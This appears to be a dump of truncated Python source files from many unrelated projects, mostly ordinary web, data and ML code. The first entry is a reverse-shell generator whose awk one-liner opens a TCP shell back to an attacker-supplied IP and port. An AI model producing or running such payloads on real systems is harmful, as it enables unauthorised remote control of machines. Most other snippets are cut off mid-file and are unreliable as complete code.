content
stringlengths
5
1.05M
# Shell Codes Module For Shelly def awk(IP,PORT): code = [ """awk 'BEGIN {s = "/inet/tcp/0/"""+IP+"""/"""+PORT+"""\"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null""" ] return code def bash(IP,PORT)...
from __future__ import absolute_import # flake8: noqa # import apis into api package from threedi_api_client.openapi.api.v3_api import V3Api from threedi_api_client.openapi.api.v3_beta_api import V3BetaApi
import hashlib import os import base64 import codecs import base58 import crypto as Crypto from parsing import UnicodeConfigParser cconf = UnicodeConfigParser() mconf = UnicodeConfigParser() local = os.path.dirname(__file__) master_keyring = os.path.normcase(local + '/keyring/' + 'master_keyring....
import torch import torch.nn as nn from .conversions import rtvec_to_pose __all__ = [ # functional api "inverse_pose", "pinhole_matrix", "inverse_pinhole_matrix", "scale_pinhole", "homography_i_H_ref", # layer api "InversePose", "PinholeMatrix", "InversePinholeMatrix", "Sc...
import gevent import pytest from volttron.platform.agent.known_identities import CONTROL, MASTER_WEB, AUTH, CONFIGURATION_STORE from volttron.platform.keystore import KeyStore from volttron.platform.vip.agent.connection import Connection from volttron.platform.vip.agent.utils import build_connection import os @pytest....
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2017 Ke Wang Xiaomi """IO classes for reading and writing kaldi .ark This module provides io interfaces for reading and writing kaldi .ark files. Currently, this module only supports binary-formatted .ark files. Text .ark files are not supported. To u...
from matplotlib import pyplot as plt, animation, style def graph_sentiment(i): data = open('twitter_sentiment.txt', 'r').read() sentiments = data.split('\n') x = range(len(sentiments)) y_curr = 0 y = [] for s in sentiments: if s == 'pos': y_curr += 1 elif s ==...
""" Population strategies ===================== Strategies to choose the population size. The population size can be constant or can change over the course of the generations. """ import json import logging from abc import ABC, abstractmethod from typing import Dict, List, Union import numpy as np from pyabc.cv.bo...
from maya.mel import eval as meval from fxpt.fx_utils import message_box class CommandDescBase(object): def __init__(self, name): """ :type name: str """ self.name = name self.run = '' self.annotation = '' def execute(self): raise NotImplementedError('...
import databases from database_handler import load_session, func class PeoCurModule: session, Base = load_session(databases.urls['DATABASE_PEO_CUR_URL']) def __init__(self): return def planeja_disciplina(self, al_nusp, data_ini, departamento, codigo, ano, semestre): try: self....
from django.shortcuts import render from .models import Individual_therapy # Create your views here. def individual_therapy(request): individual_therapies = Individual_therapy.objects.all() return render(request, "individual_therapy/individual_therapy.html", {'individual_therapies':individual_therapies})
import random st2 = '' i = 0 r = '123456789' list1 ='qwertyuiopasdfghjklzxcvbnm' list3 = list1.upper() list2 = '+-/*!&$#?=@<>_' st = list1 + list2 + list3 + str(r) for i in range(10): st2 = st2 + (random.choice(st)) st3 = list(st2 + random.choice(r) + random.choice(list1) + random.choice(list2) + random.c...
from pexpect import __version__ from colorama import Fore, Back from libs import GoDirectoryGenerator __doc__ = """ >===> >======> >=> >=>>=> >=> >=> >> >=> >=> >=> ...
""" Datos de entrada Numero de naranjas-->n-->int Ventas Finales-->v-->float Datos de Salida Porcentaje de ganacias-->g-->float """ #entradas n=int(input("Digite la cantidad de naranjas: ")) v=float(input("Digitar las ventas Finales: ")) #Caja nEGRA c=(n/12)*6 g=(v-c) pg=(g*100)/c #salidas print("El porcentaje que se g...
from Capsian import * from addons import * # Initial stuff camera = PerspectiveCamera(Transform(0, 5, 5, 0, 0, 0, 10, -90)) controller = CharacterController() camera.components.add(controller) window = Window3D(camera=camera, vsync=False, width=1280, height=720, resizable=True) tex = Texture3D("assets/textures/gl...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Apr 7 11:40:41 2021 @author: user """ import numpy as np import cv2 as cv2 import matplotlib.pyplot as plt def prominance(unique): l1 = np.tile(unique[1],(10,10,1)) l2 = np.tile(unique[2],(10,10,1)) l3 = np.tile(unique[3],(10,10,1)) ...
import os import time from itertools import chain, repeat from sqlalchemy.engine import Connection, Engine from sqlalchemy.exc import OperationalError from sqlalchemy.ext.declarative import DeferredReflection from pycroft.model import create_engine def try_create_connection(connection_string, wait_for_db, logger, ...
# USAGE # python detect_mask_image.py --image images/pic1.jpeg # import the necessary packages from tensorflow.keras.applications.mobilenet_v2 import preprocess_input from tensorflow.keras.preprocessing.image import img_to_array from tensorflow.keras.models import load_model import numpy as np import argparse import c...
from flask import Flask, render_template, request from client import LegislatieJustClient app = Flask(__name__) @app.route("/") def hello(): return render_template('index.html') @app.route("/search", methods=['POST']) def search(): client = LegislatieJustClient() params = {v: request.form[v] for k, v i...
from brownie import Lottery, accounts, config, network from web3 import Web3 def printStuff(): account = accounts[0] lottery = Lottery.deploy( config["networks"][network.show_active()]["eth_usd_price_feed"], config["networks"][network.show_active()]["gbp_usd_price_feed"], {"from": acco...
# This is your project's main settings file that can be committed to your # repo. If you need to override a setting locally, use settings_local.py from funfactory.settings_base import * # Name of the top-level module where you put all your apps. # If you did not install Playdoh with the funfactory installer script # ...
#!/usr/bin/env python import got3 as got import argparse from elasticsearch import Elasticsearch ## Configure argparse parser = argparse.ArgumentParser( prog="get-tweet.py", description='Get tweet and import Elasticsearch.' ) parser.add_argument("-f", "--firstdate", type=str, required=True, help='<Req...
# Generated by Django 3.0.8 on 2020-07-29 06:30 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('complaints', '0005_auto_...
import logging logging.basicConfig(level=logging.INFO) log = logging.getLogger(__name__) log.setLevel(logging.INFO) def lambda_sandbox_down_handler(event: dict, context): log.info('running DOWN handler with event: %s and context: %s', event, context)
import wget import requests import csv import os from datetime import datetime def Default_Paths(): INPUT_PATH = os.path.dirname(os.path.abspath(__file__)) BASE_DIR = os.path.dirname(os.path.normpath(INPUT_PATH)) OUTPUT_DIR = ensure_dir(os.path.join(BASE_DIR, "output")) return (INPUT_PATH, BASE_DIR, OU...
import numpy as np import torch import torchvision.transforms as transforms ####################################### ####################################### DENSEFUSION_ROOT_PATH = '/home/akeaveny/git/DenseFusion/' PRE_TRAINED_MODEL = DENSEFUSION_ROOT_PATH + 'trained_models/ycb/densefusion/pose_model_26_0.0128632466...
import logging from astropy.table import Table from astropy.coordinates import SkyCoord from astropy import units as u from astropy.io import fits import numpy as np import math import matplotlib.pyplot as plt from LCOWCSLookupProvider import getWCSForcamera, transformList from gaiaastrometryservicetools import astrome...
from django.views.generic import TemplateView from django.shortcuts import render from pessoa.models import Pessoa from django.db.models import Count def storepage(request): data = Pessoa.objects.all().values('uf').annotate(total=Count('uf')).order_by('uf') return render(request, 'store.html', context={'da...
""" Copyright 2018, Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE file in project root for terms. """ from builtins import object import json import os import time from yahoo_panoptes.framework.utilities.consumer import PanoptesConsumerTypes, make_topic_names_for_all_sites, \ CONSUMER_...
import dash_mantine_components as dmc component = dmc.Group( grow=True, direction="column", children=[ dmc.Divider(variant="solid"), dmc.Divider(variant="dashed"), dmc.Divider(variant="dotted"), ], )
from __future__ import division from __future__ import print_function from __future__ import absolute_import import time def timer(func): ''' :param func: function required :return: function execution time ''' def check_timer(*args,**kwargs): before = time.time() pref_func = func(*...
from .__init__ import * import math def euclidianNormFunc(maxEltAmt=20): vec = [ random.uniform(0, 1000) for i in range(random.randint(2, maxEltAmt)) ] problem = f"Euclidian norm or L2 norm of the vector{vec} is:" solution = math.sqrt(sum([i**2 for i in vec])) return problem, solution e...
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'C:\dev\pyconlyse\views\ui\ProjectManager.ui' # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_ProjectManager(object): def setupU...
# --*-- coding:utf-8 --*-- import numpy as np import cv2 from scipy import signal ''' helper function ''' def filterItChopOff(f, r, sp): f[np.isnan(f)] = 0 H, W, d = f.shape B = np.ones([2 * r + 1, 2 * r + 1]) # 2r+1 * 2r+1 neighbourhood minSP = cv2.erode(sp, B, iterations=1) maxSP = cv2.dilat...
from __future__ import print_function import sys def exit_with_error(error_msg): print(error_msg, file=sys.stderr) sys.exit(1) def log_error(error_msg): print(error_msg, file=sys.stderr) def log(msg): print(msg)
import os from textx import metamodel_from_file, language, get_model from textx.exceptions import TextXSemanticError @language('json-ref-dsl', '*.jref3') def json_ref_dsl(): global_repo = True current_dir = os.path.dirname(__file__) mm = metamodel_from_file(os.path.join(current_dir, 'JsonRef.tx'), ...
import platform import json import urllib import urllib2 import time import sys import os import base64 import ctypes try: import Tkinter import tkMessageBox as msg except ImportError: sys.exit('Runtime import error for Tkinter') # --------------------- # # Configuration options # # ---------------------...
import numpy as np from scipy.optimize import newton from scipy.special import legendre def BinaryRoche_spherical(r, q, lam, nu): return 1. / r + q * ((1. - 2 * lam * r + r ** 2) ** (-0.5) - lam * r) + 0.5 * (q + 1.) * r ** 2 * (1 - nu ** 2) def BinaryRoche(r,q,D=1.,F=1.): return 1.0 / np.sqrt(r[0] * r[0] + r...
vndb_id = 2959 name = "星空のメモリア Eternal Heart" set_text_offset = 0x51f3f entry_point = 0x8d77e character_list = [ (3930, 0x0004, "メア"), (3910, 0x00cb, "明日歩"), (3932, 0x018c, "こもも"), (3938, 0x024d, "こさめ"), (3939, 0x02da, "衣鈴"), (3907, 0x0343, "千波"), (6159, 0x03ac, "雪菜"), (3940, 0x0...
from kubernetes import config from kubernetes.client import configuration from .api import ApiClient from .containers import ContainersClient from .images import ImagesClient from .volumes import VolumesClient config.load_kube_config() configuration.assert_hostname = False # Trying to fix network problems on python2....
import numpy as np import pytest import vsketch from .utils import line_count_equal, line_exists def test_triangle_success(vsk: vsketch.Vsketch) -> None: vsk.triangle(2, 2, 2, 3, 3, 2.5) assert line_count_equal(vsk, 1) assert line_exists(vsk, np.array([2 + 2j, 2 + 3j, 3 + 2.5j, 2 + 2j])) def test_tria...
#!/usr/bin/python # =========================== imports ========================================= # from default Python import os import json import struct import base64 import time import copy import logging import ast # third-party packages import flatdict import SolDefines import openhdlc as hdlc import hr_parse...
# -*- coding: utf-8 -*- """constants.py: messages extends""" from __future__ import unicode_literals DEBUG = 10 INFO = 20 SUCCESS = 25 WARNING = 30 ERROR = 40 DEBUG_PERSISTENT = 11 INFO_PERSISTENT = 21 SUCCESS_PERSISTENT = 26 WARNING_PERSISTENT = 31 ERROR_PERSISTENT = 41 DEBUG_STICKY = 12 INFO_STICKY = 22 SUCCESS_...
""" Descrição: Jogo da forca onde a palavra secreta é selecionada de uma lista (formação do desenho alterada). Autor:Henrique Joner Versão:0.0.1 Data:10/01/2019 """ #Inicialização de variáveis for x in range(10): print() palavra = [] digitadas = [] acertos = [] erros = 0 base=[] numero =0 #Entrada de dados base...
from django.template.response import SimpleTemplateResponse from django.test import TestCase from django.test.client import RequestFactory from honest_ab.api import get_experiment_bin from honest_ab.binning_functions.base import CachedExperimentBinningHandlerBase, HONEST_AB_COOKIE_KEY, CachedExperimentDomainChooser fr...
# flake8: noqa from pkg_resources import get_distribution, DistributionNotFound from ._gcsfs import GCSFS try: __version__ = get_distribution(__name__).version except DistributionNotFound: # package is not installed pass
import scrapy from louspider.items import CourseItem from scrapy.selector import Selector class LouSpider(scrapy.Spider): name = "mylouspider" # 定义允许的域名 allowed_domains = ["shiyanlou.com"] # 定义进行爬取的url列表 start_urls = ['https://www.shiyanlou.com/courses/?category=all&course_type=all&tag=all&fee=free...
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
import pytest from wemake_python_styleguide.constants import FUTURE_IMPORTS_WHITELIST from wemake_python_styleguide.violations.best_practices import ( FutureImportViolation, ) from wemake_python_styleguide.visitors.ast.imports import WrongImportVisitor future_import = 'from __future__ import {0}' future_import_a...
"""Enumerated values.""" from enum import Enum class CoordinateSystemNames(Enum): """Enumerated values for coordinate system names.""" PATIENT = 'PATIENT' SLIDE = 'SLIDE' class ContentQualificationValues(Enum): """Enumerated values for Content Qualification attribute.""" PRODUCT = 'PRODUCT' ...
from quarkchain.config import get_default_evm_config from quarkchain.constants import ( PRECOMPILED_CONTRACTS_AFTER_EVM_ENABLED, PRECOMPILED_CONTRACT_MINT_MNT, PRECOMPILED_CONTRACT_QUERY_MNT_BALANCE, MAINNET_ENABLE_NON_RESERVED_NATIVE_TOKEN_CONTRACT_TIMESTAMP, MAINNET_ENABLE_GENERAL_NATIVE_TOKEN_CON...
def user_map(user): """ 建立用户频道与用户名对应 :param user: str :return: str """ natsuiromatsuri_tuple = ('UCQ0UDLQCjY0rmuxCDE38FGg', 'natsuiromatsuri', '3264432') uruharushia_tuple = ('UCl_gCybOJRIgOXw6Qb4qJzQ',) USERS_DICT = {natsuiromatsuri_tuple: 'natsuiromatsuri', uruharushi...
# Copyright 2021 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
# -*- coding: utf-8 -*- # # @author Carlos Campo Liébana # @license MIT # import requests from PIL import Image from StringIO import StringIO import sys import json import os import sys user = sys.argv[1] urlBase = "https://www.instagram.com/" + user + "/media/" max_id = "" haySiguiente = True; siguiente = "" pagina ...
# Licensed under a 3-clause BSD style license - see LICENSE.rst from __future__ import absolute_import, division, print_function, unicode_literals import logging import numpy as np from astropy.io import fits import astropy.units as u from astropy.nddata import Cutout2D from astropy.convolution import Tophat2DKernel fr...
"""Mostly consists of getters for testing particular configurations""" from loaders import data def get_ecoc_corpus(text, args, ec=True, count=False): if 'wikitext-2' in text: args.epochs = 20 args.batch_size = 56 corpus = data.Corpus(args.data, emb_type=args.pretrained, ...
from django.contrib import admin from django.conf import settings from django.conf.urls import url, include from django.conf.urls.static import static from django.contrib.staticfiles.urls import staticfiles_urlpatterns from .views import login_redirect urlpatterns = [ url(r"^$", login_redirect, name="login_redir...
from flask import Flask # Imported the Class Flask, an instance of our application will be our WSGI application. # WSGI(Web Server Gateway Interface) is provided by Werkzeug, is a simple and universal interface # between web servers and web applications or frameworks for Python. app = Flask(__name__) # 'app' is a inst...
import glob, os, psutil, sys, subprocess from telegram.ext import Updater, CommandHandler import logging import datetime print("---***---") print("Starting Palantir bot...") print("---***---") print("daemonising...") if os.fork(): exit(0) os.umask(0) os.setsid() if os.fork(): exit(0) sys.stdout.flush() sys.stderr.fl...
from mongoengine import Document, StringField, IntField, DateTimeField, ListField, URLField import datetime """Creating the models for audio file type Song""" class Song(Document): name = StringField(required=True, max_length=100) duration = IntField(required=True,min_value=0) url = URLField(max_length=20...
""" * Copyright (c) 2021, salesforce.com, inc. * All rights reserved. * SPDX-License-Identifier: BSD-3-Clause * For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause """ import json import os from rank_bm25 import BM25Okapi from tqdm import tqdm from utils im...
# -*- coding: utf-8 -*- from racoon.view.auth.routes import bp_auth from racoon.view.compete.routes import bp_compete from racoon.view.error.custom import bp_error from racoon.view.home import bp_home from racoon.view.user.routes import bp_user views = { "bp_home": bp_home, "bp_error": bp_error, ...
# coding: utf-8 # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c...
import setuptools import nltk with open('requirements.txt') as f: required = f.read().splitlines() with open("README.md") as fh: long_description = fh.read() nltk.download("punkt") setuptools.setup( name='multiner', version="0.0.1", description="multilingual named entity recognition with xlm-rob...
#!/usr/bin/env python __all__ = ['get_body_from_horizon'] from astroquery.jplhorizons import Horizons G = 6.67408e-20 # units of km^3/kg/s^2 def get_body_from_horizon(name, epochs=None, body_type='majorbody', mass=None, plane='ecliptic'): if not isinstance(name, str): rais...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ © Copyright 2015-2016, 3D Robotics. drone_delivery.py: A CherryPy based web application that displays a mapbox map to let you view the current vehicle position and send the vehicle commands to fly to a particular latitude and longitude. Full documentation is provided...
from __future__ import division, print_function import sys, os, re, matplotlib import numpy as np import matplotlib.pyplot as plt import numericalunits, colors matplotlib.rcParams['text.usetex'] = True from matplotlib.font_manager import FontProperties small_font = FontProperties() small_font.set_size('small') """ ...
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.macdonell_df import macdonell_df def test_macdonell_df(): """Test module macdonell_df.py by downloading macdonell_df.csv and testing shape of...
# Imports import pickle from sklearn.linear_model import LogisticRegression from TFIDF.TFIDF_features import TFIDF_features # Trains and stores a logistic regression model def logistic_regression_train(train_data): # Obtain the TFIDF features train_feature, train_label = TFIDF_features(train_data, "train") ...
""" Django has a built-in syndication feed framework that you can use to dynamically generate RSS or Atom feeds in a similar manner to creating sitemaps using the site's framework. A web feed is a data format (usually XML) that provides users with frequently updated content. Users will be able to subscribe to your ...
######################################ZIP######################################## # zip ( <iterables> ) # Alinea los valores de varios iterables en uno solo (tuplas) # Alinea los valores con el mismo número de índice. No importa si el imput de # zip es de estructuras de datos distintas mientras sean iterables ######...
def aumentar(preco, taxa): p = preco + (preco * taxa/100) return p def diminuir(preco, taxa): p = preco - (preco * taxa/100) return p def dobro(preco): p = preco * 2 return p def metade(preco): p = preco / 2 return p
#!/usr/bin/env python3 # Copyright (c) 2019 The Unit-e developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """ Test node recovers its finalization state from disk """ from test_framework.test_framework import UnitETestFram...
from app import create_app, db from flask_script import Manager, Server from flask_migrate import Migrate, MigrateCommand from app.models import User, Category, Pitch, Comment import click from flask.cli import with_appcontext # Creating app instance. app = create_app("production") manager = Manager(app) manager.add_...
from django.core.management.base import BaseCommand from axesresearch.api.backend import CachedLimasService class Command(BaseCommand): help = "Clear mongodb caches for the limas backend" def handle(self, *args, **options): limas = CachedLimasService() caches = limas.clear_caches() ...
import requests from requests import HTTPError from cloudbot import hook def get_data(url, reply, bot, params=None): try: r = requests.get(url, headers={'User-Agent': bot.user_agent}, params=params) r.raise_for_status() except HTTPError: reply("API error occurred.") raise ...
#!/usr/bin/env python """ Memory map connected processes """ import lib_common from sources_types import memmap def Main(): cgiEnv = lib_common.CgiEnv() memmapName = cgiEnv.GetId() grph = cgiEnv.GetGraph() memmap.DisplayMappedProcesses(grph,memmapName) cgiEnv.OutCgiRdf() if __name__ == '__main__': Main()
# Release # Major = significant changes # Minor = every commit __version__ = "0.0.1"
from os import path, getenv from sys import exit from tempfile import gettempdir from subprocess import run, STDOUT, PIPE from time import sleep from config import setup_config from utils import checkout_repo, log CONFIG = setup_config() def main(): if not getenv("TEST_PKS_ETHEREUM"): log("Ethereum priva...
""" Copyright 2022 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distri...
# coding: utf8 # Author: Wing Yung Chan (~wy) # Date: 2017 # Number Letter Counts # Some of the digits are not easily generated so just state them # Rest can be dict_tens = {0 : -3, 1 : 3, 2 : 3, 3 : 5, 4 : 4, 5 : 4, 6 : 3, 7 : 5, 8 : 5, ...
#!/usr/bin/env python # coding=utf-8 # # Copyright © 2011-2015 Splunk, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"): you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
# Generated by Django 3.2 on 2021-04-11 19:41 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('mtaa_watch', '0001_initial'), ] operations = [ migrations.AlterField( model_name='business', name='id', fi...
import warnings warnings.simplefilter(action='ignore') import pandas as pd import numpy as np import geopandas as gpd from shapely.geometry import Point, LineString, Polygon, MultiPoint from shapely.ops import linemerge, polygonize_full, nearest_points import statistics pd.set_option("display.precision", 3) pd.option...
############################################################################### # ProteusLib Copyright (c) 2021, The Regents of the University of California, # through Lawrence Berkeley National Laboratory, Oak Ridge National # Laboratory, National Renewable Energy Laboratory, and National Energy # Technology Laborator...
""" Copyright 2019-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://aws.amazon.com/apache2.0/ or in the "license" file accompany...
"""Functions for downloading and reading MNIST data.""" """ modified for the purpose of cppgan demo """ import gzip import os import matplotlib.pyplot as plt import numpy as np from six.moves.urllib.request import urlretrieve DATASET_MNIST = "mnist" DATASET_FASHION = "fashion" DIR_MNIST = f"data/{DATASET_MNIST}" DIR...
from utils.file_api import read_file_lines,write_file_lines def cat_files(f_list,out_path,tokenizer,max_len): f_lines=[read_file_lines(f) for f in f_list] new_lines=[] f_len=[len(x) for x in f_lines] print(f_len) assert max(f_len)==min(f_len) length=max(f_len) for i in range(0,length): ...
import pandas as pd import re class Process(): def __init__(self, path_to_file): self.dataset = pd.read_csv(path_to_file, sep='\t') self.file_name = path_to_file.split('/')[-1] print('原dataset共%d行'%len(self.dataset)) self._build_new_df() # self.dataset = self.dataset[[row['c...
extensions = ['sphinx.ext.autodoc']
import ast import datetime import json import os import sys from datetime import datetime import numpy as np import pandas as pd import yaml from sqlalchemy import create_engine from gcs_utils import list_blobs_in_a_path, upload_blob, download_blob pd.set_option("display.max_rows", None) pd.set_option("display.max_c...
import tweepy import datetime as dt TWaccessToken = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' TWaccessTokenSecret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' TWapiKey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' TWapiSecretKey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' def getAPI(): auth = tweepy.OAuthHandler(TWapiK...
import requests import re from npyscreen import setTheme from .actionForms import InstallForm, InstallVersionForm, UninstallForm, UpdateForm, UpdateAppForm from .custom.apNPSApplicationEvents import PipTuiApp from .custom.customTheme import PipTuiTheme from .mainForm import MainForm from .pkgInfoForm import PkgInfoFor...
#!/usr/bin/env python3 # PYTHON_ARGCOMPLETE_OK from __future__ import division, print_function # viability imports import pyviability as viab from pyviability import helper from pyviability import libviability as lv from pyviability import tsm_style as topo # model imports import examples.AWModel as awm import examp...
def set_element(lis, value, *indices): if isinstance(lis[indices[0]], list): set_element(lis[indices[0]], value, *indices[1:]) else: lis[indices[0]] = value def complete_copy(lis): """ Credit: https://stackoverflow.com/a/1601774/8004215 """ if isinstance(lis, list): return list(map(complete_copy, lis)) r...
#!/usr/bin/env python # Programmer: Chris Bunch (chris@appscale.com) """LogSender will forward a log message to the Admin Console, so that it can be stored for later retrieval. """ import base64 import httplib import json import sys class LogSender(): # The file that the AppController writes the login node's publ...
#!/usr/bin/python3 from urllib.request import urlopen import json def Run(cep): cep = cep.replace("-", "") url = 'http://viacep.com.br/ws/%s/json/' % cep response = urlopen(url) address_json = json.loads(response.read().decode('utf-8')) if "erro" in address_json: print("Invalid CEP") el...
# ------------------------------------------------------------------------------ # The same code as in example_training.ipynp but as a python module instead of # jupyter notebook. See that file for more detailed explanations. # ------------------------------------------------------------------------------ # 1. Import...
import pandas as pd import numpy as np import pickle # In order to optimize memory usage it is useful to make certain features get certain types # the dictionary below has been taken from https://www.kaggle.com/theoviel/load-the-totality-of-the-data dtypes = { 'MachineIdentifier': ...
# Copyright (c) 2019-2021 hippo91 <guillaume.peillex@gmail.com> # Copyright (c) 2019 Ashley Whetter <ashley@awhetter.co.uk> # Copyright (c) 2020 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2021 Pierre Sassoulas <pierre.sassoulas@gmail.com> # Licensed under the LGPL: https://www.gnu.org/licenses/old-licenses/l...